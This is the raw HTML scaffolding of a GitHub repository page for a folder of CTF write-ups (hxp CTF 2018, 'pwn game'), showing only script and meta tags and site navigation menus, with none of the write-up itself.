src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-write-ups/hxp CTF 2018/pwn game at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="D86E:0F2B:6C091D6:6F0F4CC:64122571" data-pjax-transient="true"/><meta name="html-safe-nonce" content="b15b82b2c3a60be153e03228d5da884fec3c910a3bffaf6a0def62225e96f675" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEODZFOjBGMkI6NkMwOTFENjo2RjBGNENDOjY0MTIyNTcxIiwidmlzaXRvcl9pZCI6Ijc3NDMxNzgxMTQ3ODA1MDU0NTciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="865f1f74b8282659bf22d05105bf15c8c314737c927332fe3011e65a137e6826" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-write-ups/hxp CTF 2018/pwn game at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/hxp CTF 2018/pwn game at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git">
<meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" />
<link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/hxp%20CTF%202018/pwn%20game" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
